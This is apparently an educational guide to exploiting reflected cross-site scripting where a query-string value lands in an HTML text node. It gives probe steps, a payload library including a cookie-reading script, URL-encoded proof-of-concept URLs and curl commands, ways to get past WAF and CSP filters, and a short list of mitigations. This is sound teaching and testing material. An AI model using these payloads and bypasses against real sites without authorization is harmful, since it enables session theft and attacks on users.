Learn about Reflected XSS

Reflected XSS — HTML Context (ENHANCED)

Goal: Understand and exploit reflected XSS when attacker input is inserted into an HTML text-node with little/no encoding, and build a repeatable workflow for testing payloads safely.

🧭 Scope & Scenario

• Vector: Query string (e.g., /?search=...).
• Sink: HTML text node (between tags), e.g.:
  html Copy

  <p>You searched for: {{ input }}</p>

• Assumption: Server injects raw or lightly encoded input (no strict escaping, no CSP blocking inline JS).

🎯 TL;DR (Quick Win)

1. Use ASCII quotes (not smart quotes) and URL-encode special characters when needed.
2. In a text-node context, you must introduce a tag to create an executable sink (e.g., <img onerror> or <script>).
3. Starter payloads (pick one appropriate for your context):
   • Text-node → inject a new tag:
     html Copy

     <img src=x onerror=alert(document.domain)>

   • If tags are allowed unfiltered:
     html Copy

     <script>alert(document.domain)</script>

4. Verify in the browser devtools and ensure your payload survives any encoding/filters.

🧩 Background: Query Strings & Encoding

• After ? comes the query string: key=value pairs separated by &.
  • Example: /?search=alert%28%27Hello%20XsiSec%27%29
• + becomes a space in standard URL encoding inside query parameters. Use %2B for a literal plus.
• Always prefer URL-encoding for metacharacters: < > " ' ( ) ; = &

🔎 Context Mapping

Knowing where the reflection lands determines the payload form.

This guide focuses on HTML text-node reflection.

🛠️ Exploit Workflow (Text-Node)

1. Probe safely to confirm raw reflection:

   text Copy

   /?search=XSISEC123

   • Find XSISEC123 in the rendered DOM (Elements panel), not just “View Source”.

2. Break out of text by introducing a tag:

   text Copy

   /?search=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E

   Which decodes to:

   html Copy

   <img src=x onerror=alert(document.domain)>

3. If <script> is permitted:

   text Copy

   /?search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

4. Observe execution (e.g., alert pops, console logs).

5. Stabilize the payload (short, resilient, no smart quotes).

🧪 Payload Library (Text-Node Friendly)

Use plain ASCII quotes. URL-encode for transport.

• Minimal image error handler:

  html Copy

  <img src=x onerror=alert(1)>

• Domain leak check:

  html Copy

  <img src=x onerror=alert(document.domain)>

• Inline script (if allowed):

  html Copy

  <script>alert(document.cookie)</script>

  Note: Cookies with HttpOnly cannot be read via JS.

• SVG-onload (sometimes filtered, but useful when <img> is blocked):

  html Copy

  <svg onload=alert(1)></svg>

🚧 Common Roadblocks & Bypasses

• Smart quotes (“ ” ‘ ’) → replace with ASCII quotes (" ').
• HTML-encoding of < > → try contexts that don’t require angle brackets (attribute/JS context), or find a reflection path that isn’t encoded.
• WAF filters on <script> → use innocuous tags/events (e.g., <img onerror>, <svg onload>).
• CSP blocking inline scripts → use event handlers or try sourcing from allowed origins; CSP bypasses are app-specific.
• URL auto-encoding → encode before sending to avoid the app double-encoding your payload.

✅ Verification Checklist

• Reflection confirmed in rendered DOM.
• Payload not sanitized or re-encoded.
• Execution primitive observed (e.g., alert/console).
• Browser console shows no CSP/type errors.
• Saved final PoC URL for reporting.

🧰 cURL Examples

• Quick probe:

  bash Copy

  curl -s 'https://target.tld/?search=XSISEC123'

• URL-encoded <img onerror> payload:

  bash Copy

  curl -s 'https://target.tld/?search=%3Cimg%20src%3Dx%20onerror%3Dalert%281%29%3E'

Rendering is required to execute JS—use a browser or headless browser to validate execution.

🛡️ Mitigations (for defenders)

• Contextual escaping (encode < > & " ' / appropriately for the sink).
• Prefer templating engines with auto-escaping.
• Adopt CSP (Content-Security-Policy) to reduce impact.
• Avoid mixing data and code (no building HTML with string concatenation).
• Input validation (length, charset) to shrink attack surface.

📎 Appendix — Quick Encoding Reference

📌 Example PoC URLs (Replace host)

• Text-node with <img onerror>:

  text Copy

  https://target.tld/?search=%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E

• Inline <script> (if permitted):

  text Copy

  https://target.tld/?search=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E

Changelog

• v1.0 — Initial ENHANCED guide for reflected XSS in HTML text-node context.